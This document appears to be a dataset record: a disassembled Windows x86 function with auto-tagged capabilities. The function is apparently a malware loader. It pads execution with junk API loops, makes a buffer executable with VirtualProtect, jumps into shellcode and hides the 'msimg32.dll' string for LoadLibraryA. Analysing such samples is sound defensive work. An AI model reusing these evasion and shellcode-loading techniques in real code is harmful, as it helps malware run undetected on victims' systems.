Function at 0x490410
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get hostname
Manipulate console buffer
Move file
Query environment variable
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
mov eax, 0x2470
call fcn.0040f020
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharUpperBuffA]
xor esi, esi
cmp esi, 0x1e17e
jge 0x490446
push 0
push 0
call edi
call ebx
cmp esi, 0x1e9b1db4
jle 0x490460
cmp ebp, 0xc10bd0
je 0x490460
cmp dword [esp + 0x58], 0x963c600
jne 0x490469
inc esi
cmp esi, 0x98f6e
jl 0x490436
cmp dword [0x8306c0], 0xcf8
jne 0x4904d0
push 0
push 0
call dword [sym.imp.SHELL32.dll_DragAcceptFiles]
fldz
sub esp, 8
fstp qword [esp]
call fcn.004050b0
fstp st(0)
fldz
fstp qword [esp]
call fcn.00405280
fstp st(0)
push 0
push 0
push 0
push 0x4ab990
call fcn.00404d75
push 0
call fcn.0040507d
add esp, 0x1c
push 0
push 0
call fcn.00404c31
push 0
push 0
call fcn.00411192
add esp, 0x10
push 0
call fcn.0040502b
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebp, dword [sym.imp.KERNEL32.dll_FindVolumeClose]
xor esi, esi
cmp esi, 0x408
jne 0x4904f7
mov eax, 0x5d1
add dword [0x8306c0], eax
cmp dword [0x8306c0], 3
jne 0x490514
push 0
call edi
push 0
push 0
call ebx
lea eax, [esp + 0x80]
push eax
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x4904e4
mov ecx, dword [0x8306c0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4b0724], eax
mov eax, dword [0x8306c0]
xor esi, esi
test eax, eax
je 0x4905e0
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
mov ebp, dword [sym.imp.KERNEL32.dll_FatalAppExitW]
cmp eax, 0xfe
jne 0x4905af
push 0
call edi
call ebx
xor edx, edx
lea ecx, [esp + 0x14]
push ecx
push edx
push edx
lea eax, [esp + 0x8c]
push eax
push edx
mov dword [esp + 0x2c], edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0x404654
push 0
call ebp
lea ecx, [esp + 0x2c]
xor eax, eax
push ecx
lea edx, [esp + 0x50]
push edx
push 0x404690
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
call fcn.00490030
mov eax, dword [0x8306c0]
cmp eax, 0x29
jne 0x4905d7
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov eax, dword [0x8306c0]
inc esi
cmp esi, eax
jb 0x490552
cmp eax, 0x70
jne 0x490635
push 0
lea eax, [esp + 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x4046a0
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call esi
call esi
lea ecx, [esp + 0x14]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edi, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
mov ebp, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov dword [esp + 0x14], 0x9682ab
cmp eax, 3
jne 0x49066f
lea edx, [esp + 0x880]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x8306c0]
cmp eax, 0xdf
jne 0x4907f1
push 0
push 0
push 0
call ebp
push 0
call ebx
xor eax, eax
lea edx, [esp + 0x20]
push edx
push eax
push eax
lea ecx, [esp + 0xc8c]
push ecx
push eax
mov dword [esp + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push 0x4046f0
push 0x404728
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push 0
push 0
push 0
call esi
mov edx, dword [esp + 0x20]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
push 0
lea eax, [esp + 0x884]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x24]
push ecx
push 0
lea edx, [esp + 0x34]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea eax, [esp + 0x28]
push eax
push 0x404760
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
lea ecx, [esp + 0x40]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
lea edx, [esp + 0x1484]
push edx
push 0x4047a4
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
lea eax, [esp + 0x1c84]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x84]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x30
lea eax, [esp + 0x54]
push 0
push eax
mov dword [esp + 0x58], 0
call fcn.0040a730
add esp, 0xc
push 0
lea ecx, [esp + 0x50]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov eax, dword [0x8306c0]
dec dword [esp + 0x14]
jne 0x490655
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
lea esp, [esp]
push 0
call edi
push 0
call ebx
dec esi
jne 0x490810
mov eax, dword [0x8306c0]
mov ecx, dword [0x4b0724]
lea edx, [esp + 0x1c]
push edx
push 0x40
push eax
push ecx
mov byte [0x4ab990], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00490280
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
jmp 0x490850
cmp dword [0x8306c0], 0xba
jne 0x490869
lea edx, [esp + 0x1c]
push edx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x49087c
mov eax, 0
add dword [0x4b0724], eax
inc esi
cmp esi, 0x1605a
jl 0x490850
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownA]
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
mov ebx, 0xf2b8b
cmp dword [0x8306c0], 0x21
jne 0x4908ad
push 0
call esi
push 0
push 0
push 0
push 0
call edi
dec ebx
jne 0x490896
push 0x4ab990
mov dword [0x4ab992], 0x33676d69
mov word [0x4ab990], 0x736d
mov dword [0x4ab998], 0x6c6c64
mov word [0x4ab996], 0x2e32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x8306c0], 0xc30
jne 0x490982
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push ebx
lea eax, [esp + 0x20]
push eax
push ebx
lea ecx, [esp + 0x8c]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push ebx
lea edx, [esp + 0x1c84]
push edx
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x30]
push ecx
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_RaiseException]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret